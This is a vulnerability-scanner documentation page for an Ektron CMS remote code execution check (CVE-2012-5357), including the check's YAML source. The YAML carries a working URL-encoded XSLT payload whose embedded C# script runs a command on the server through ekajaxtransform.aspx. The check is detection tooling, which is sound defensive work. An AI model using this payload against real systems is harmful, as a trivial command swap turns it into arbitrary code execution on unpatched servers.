Ektron — 1 vulnerability check

noctis ships 1 vulnerability check for Ektron, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Ektron CMS < 8.02 SP5 Remote Code Execution

CVECVE-2012-5357
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionhttp_request, match · highest QoD 97
Feedtests/vulnerabilities/ektron/CVE-2012-5357.yaml

Tests Ektron CMS for remote code execution via the ContentDesigner AJAX transform endpoint (ekajaxtransform.aspx). The form body xml=AAA&xslt=<C# stylesheet> is POSTed form-encoded; the stylesheet's <msxsl:script language="C#"> block runs ipconfig and the result is echoed in the HTTP response. Matching the injected "Windows IP Configuration" output confirms RCE. A patched (SP5) server serves the same endpoint but does not execute the script, so no output is reflected.

How noctis detects it

  1. HTTP(S) request POST {{current_dir}}/WorkArea/ContentDesigner/ekajaxtransform.aspx with a crafted body, for each of 5 values
  2. Checks rce_resp.body for Windows.IP..onfiguration → finding QoD 97: RCE confirmed — ekajaxtransform.aspx at …/WorkArea/ContentDesigner/ekajaxtransform.aspx executed the injected C# XSLT and reflected ipconfi…

References:

Feed source — tests/vulnerabilities/ektron/CVE-2012-5357.yaml
# Ektron CMS < 8.02 Service Pack 5 Remote Code Execution — CVE-2012-5357
#
# Ektron CMS exposes the ContentDesigner AJAX transform endpoint
# (/WorkArea/ContentDesigner/ekajaxtransform.aspx) which performs an unsafe
# server-side XSLT transformation of attacker-controlled input. The endpoint
# reads the `xml` and `xslt` form fields and feeds the stylesheet to
# XslCompiledTransform with scripting enabled, so a stylesheet carrying an
# <msxsl:script language="C#"> block executes arbitrary code on the server.
#
# This check ports the OpenVAS/Greenbone detection verbatim: it POSTs the
# NASL's form body `xml=AAA&xslt=<url-encoded C# stylesheet>` with
# Content-Type application/x-www-form-urlencoded. The stylesheet runs
# `ipconfig.exe` through System.Diagnostics.Process and emits its stdout via
# <xsl:value-of>. A vulnerable server reflects the command output, whose
# header "Windows IP Configuration" is matched to confirm remote code
# execution (injected-output echo → QoD 97).
#
# The NASL probes the endpoint under each candidate install root
# (/, /cms, /cms400min, /cms400.net, /cms400); this feed loops the same set.
#
# Affected versions: Ektron CMS before 8.02 Service Pack 5. SP5 disables
# scripting in the transform, so the endpoint still answers but no command
# output is produced.
#
# Ported from OpenVAS/Greenbone NASL 2012/gb_ektron_cms_56816.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103624, GPL-2.0-only).
uid: 4a09146d-5914-49be-aecb-1487bd7bedf7
name: "Ektron CMS < 8.02 SP5 Remote Code Execution (CVE-2012-5357)"
description: |
  Tests Ektron CMS for remote code execution via the ContentDesigner AJAX transform
  endpoint (ekajaxtransform.aspx). The form body xml=AAA&xslt=<C# stylesheet> is POSTed
  form-encoded; the stylesheet's <msxsl:script language="C#"> block runs ipconfig and
  the result is echoed in the HTTP response. Matching the injected "Windows IP
  Configuration" output confirms RCE. A patched (SP5) server serves the same endpoint
  but does not execute the script, so no output is reflected.
cves: [CVE-2012-5357]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [ektron, cms, rce, xslt, aspx, msxsl]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-5357"
  - "https://learn.microsoft.com/en-us/security-updates/vulnerabilityresearchadvisories/2012/msvr12-016"
  - "OpenVAS/Greenbone NASL 2012/gb_ektron_cms_56816.nasl (OID 1.3.6.1.4.1.25623.1.0.103624, GPL-2.0-only)"

steps:
  # Loop over the install roots the NASL probes. Each iteration POSTs the
  # exact NASL form body (xml=AAA plus the url-encoded C# stylesheet) with the
  # form Content-Type, then the match step below (grouped into the same loop
  # iteration) checks that iteration's response for the injected ipconfig
  # output.
  - id: rce-probe
    action: http_request
    method: POST
    path: "{{current_dir}}/WorkArea/ContentDesigner/ekajaxtransform.aspx"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "xml=AAA&xslt=%3C%3Fxml%20version%3D%221.0%22%3F%3E%3Cxsl%3Astylesheet%20version%3D%221.0%22%20xmlns%3Axsl%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2FXSL%2FTransform%22%20xmlns%3Amsxsl%3D%22urn%3Aschemas-microsoft-com%3Axslt%22%20xmlns%3Auser%3D%22urn%3Aektron-rce%22%3E%3Cmsxsl%3Ascript%20language%3D%22C%23%22%20implements-prefix%3D%22user%22%3E%3C%21%5BCDATA%5Bpublic%20string%20run%28%29%7BSystem.Diagnostics.Process%20p%3Dnew%20System.Diagnostics.Process%28%29%3Bp.StartInfo.FileName%3D%22ipconfig.exe%22%3Bp.StartInfo.UseShellExecute%3Dfalse%3Bp.StartInfo.RedirectStandardOutput%3Dtrue%3Bp.Start%28%29%3Bstring%20o%3Dp.StandardOutput.ReadToEnd%28%29%3Bp.WaitForExit%28%29%3Breturn%20o%3B%7D%5D%5D%3E%3C%2Fmsxsl%3Ascript%3E%3Cxsl%3Atemplate%20match%3D%22%2F%22%3E%3Cxsl%3Avalue-of%20select%3D%22user%3Arun%28%29%22%2F%3E%3C%2Fxsl%3Atemplate%3E%3C%2Fxsl%3Astylesheet%3E"
    store_as: rce_resp
    loop:
      over:
        - ""
        - /cms
        - /cms400min
        - /cms400.net
        - /cms400
      var: current_dir

  # Confirm RCE: the response must carry the injected command output. The
  # header "Windows IP Configuration" only appears when the server actually
  # executed the C# stylesheet and ran ipconfig — not for a reflected payload
  # or a bare product fingerprint. This is confirmed injected-output → QoD 97.
  - id: rce-match
    action: match
    source: rce_resp.body
    pattern: "Windows.IP..onfiguration"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "RCE confirmed — ekajaxtransform.aspx at {{current_dir}}/WorkArea/ContentDesigner/ekajaxtransform.aspx executed the injected C# XSLT and reflected ipconfig output: {{rce_resp.body}}"
      stop: true

View these feeds on GitHub